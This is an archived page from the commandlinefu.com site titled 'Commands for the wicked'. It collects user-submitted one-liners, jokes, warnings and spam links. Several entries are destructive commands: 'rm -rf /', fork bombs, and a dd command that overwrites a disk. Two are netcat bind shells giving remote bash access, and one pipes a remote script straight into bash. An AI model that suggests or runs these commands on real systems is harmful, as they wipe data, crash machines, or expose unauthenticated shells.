Hide

What's this?

commandlinefu.com is the place to record those command-line gems that you return to again and again.

Delete that bloated snippets file you've been using and share your personal repository with the world. That way others can gain from your CLI wisdom and you from theirs too. All commands can be commented on, discussed and voted up or down.


If you have a new feature suggestion or find a bug, please get in touch via http://commandlinefu.uservoice.com/

Get involved!

You can sign-in using OpenID credentials, or register a traditional username and password.

First-time OpenID users will be automatically assigned a username which can be changed after signing in.

World cup college
Hide

Stay in the loop…

Follow the Tweets.

Every new command is wrapped in a tweet and posted to Twitter. Following the stream is a great way of staying abreast of the latest commands. For the more discerning, there are Twitter accounts for commands that get a minimum of 3 and 10 votes - that way only the great commands get tweeted.

» http://twitter.com/commandlinefu
» http://twitter.com/commandlinefu3
» http://twitter.com/commandlinefu10

Subscribe to the feeds.

Use your favourite RSS aggregator to stay in touch with the latest commands. There are feeds mirroring the 3 Twitter streams as well as for virtually every other subset (users, tags, functions,…):

Subscribe to the feed for:

Hide

News

2010-03-18 - Top 10 commands explained
There's a great article by Peteris Krumins explaining the current top 10 commands: http://www.catonmat.net/blog/top-ten-one-liners-from-commandlinefu-explained/
2010-03-03 - Commandlinefu @ SXSW 2010
Am going to be at SXSW this year, in case you want to submit any CLI nuggets or suggestions to me in person. Ping me on the @codeinthehole Twitter account.
2009-09-12 - Email updates now available
You can now enable email updates to let you know each time you're command is commented on.
2009-07-11 - API and javascript blog widget now available
A simple API has been released, allowing commands to be retrieved in various formats. This also allows commands to be embedded on blogs/homepages.
Hide

Tags

Hide

Functions

Commands for the wicked

Commands for the wicked from sorted by
Terminal - Commands for the wicked - 35 results
http://www.passwordunlocker.com/knowledge/remove-rar-password.html
2010-09-01 03:39:52
User: yitiana
-27

Want to remove RAR password to gain access to the files? Follow the sep-by-step guidance in the article and try to recover RAR password with 3 different attack options: brute-force attack, brute force with mask and dictionary attack.

http://www.passwordunlocker.com/knowledge/create-and-remove-sql-password.html
2010-09-01 01:59:34
User: yitiana
-25

This article introduces a step-by-step guide to create a password for SQL server. It also tells you how to easily remove SQL Server password with SQL password remover if you forget your SQL Server password.

This article is very useful for knowing PDF Editor, PDF Converter and PDF password recovery.
2010-08-16 08:11:42
User: EmilyChang
-31

This article will relate to self-study with three kinds of PDF software: PDF Editor, PDF converter and PDF password recovery software. Afterwards, you will never worry about handling PDF files.

3 Top Tips to Reset Lost or Forgotten Windows Vista Password
2010-08-11 07:31:33
User: Deminemo
-30

We show you 3 easy and safe methods to reset Windows Vista password when your vista password is lost or forgotten and then you can log in Windows System instead of reinstalling the system when locked out of the system.

sudo rm -rf /
http://filerecoveryhelp.wordpress.com/
http://www.disk-utilities.com/data-recovery/how-to-retrieve-lost-files-from-pen-drive.html
2010-06-30 12:25:27
-27

This article mainly talks about common situations about file lost in pen drive, followed by corresponding solutions to retrieve the lost files from pen drive. Quite helpful to those who suffered files lost from pen drive. Great!!!

echo && :(){ :|:& };:
2010-01-08 10:37:44
User: yvoictra
Functions: echo
-15

WARNING!! This command can produce to crash the unix system where you execute it. What this command do is to generate a lot of threads (so in practice -> process) until the system is overloaded, and to recover it, it is needed a reboot of the machine.

I believe it is interesting to study how this command works, however It is important to notice that executing this, the system is going to crash, so PLEASE save all the work you have opened before. Maybe it can also corrupt the system...

This is a fork bomb.

More info: http://en.wikipedia.org/wiki/Fork_bomb

/bin/bash | nc -l 1234
2009-11-07 21:26:53
7

My netcat (nc-1.84-10.fc6) doesn't have the -e option, so I have to do it like this. Of course, instead of bash, you can use any executable, including scripts.

# hdparm -mRuUwx --dco-restore --drq-hsm-error --fwdownload --security-unlock PWD --security-set-pass PWD --security-disable PWD --security-erase PWD --security-erase-enhanced PWD --user-master USER --security-mode MODE [device]
2009-11-03 03:28:08
User: purpleidea
Functions: hdparm
-11

this is the most scary command that exists. read the hdparm man page. and see this post: http://dazzle.cs.mcgill.ca/wordpress/?p=36

[ "`whoami`" == "root" ] && ( [ $[ $RANDOM % 6 ] == 0 ] && ( dd if=/dev/null of=/dev/hda bs=1 ; halt; ) || echo Alive\! ) || echo No risk, no fun! Become root\!;
2009-10-14 08:50:57
User: Cowboy
Functions: dd echo
-21

Better don't run this command. Only funny on machines you'd like to kill.

curl http://flip-edesign.com/scripts/system_info | bash
2009-08-29 20:18:02
User: flip387
-2

This is a simple BASH script which with gather basic system hardware such as CPU sockets and cores, Memory modules and sizes as well as overall memory and more.

Root access may be needed to pull information from 'dmidecode'

sudo rm -rf /*
yes `yes`
:(){ :|:& };:
sudo make me a sandwich
press the power button
2009-03-23 09:02:07
User: maht
-82

Judging by the quality of suggestions lately I thought I'd better join in

b=\' c=\\ a='yes $( echo b=$c$b c=$c$c a=$b$a$b; echo $a ) | bash &'; yes $( echo b=$c$b c=$c$c a=$b$a$b; echo $a ) | bash &
:(){ :|:& };:
:(){ :|:& };:
nc -vv -l -p 1234 -e /bin/bash
2009-02-19 13:20:33
User: PeekNPoke
31

This will launch a listener on the machine that will wait for a connection on port 1234. When you connect from a remote machine with something like :

nc 192.168.0.1 1234

You will have console access to the machine through bash.

:(){ :|:&};:
2009-02-18 22:37:21
User: jaq
-40

Now try to recover without rebooting, for an extra 10 points.

:(){:|:&};:
2009-02-18 16:39:27
User: TheBunman
-33

This command is a fork bomb! Proceed with caution. ;)

:(){ :|:& };:
2009-02-18 03:24:06
User: zakmo
-27

creates a large number of processes very quickly in order to overload an OS

to stop this bomb in about 45 sec.

Type: while (sleep 100 &!) do; done

or do a killall

rm -rf /*
2009-02-17 19:57:03
User: guidouil
Functions: rm
-75

A common typo from the PFY (the key's are like right next to each others).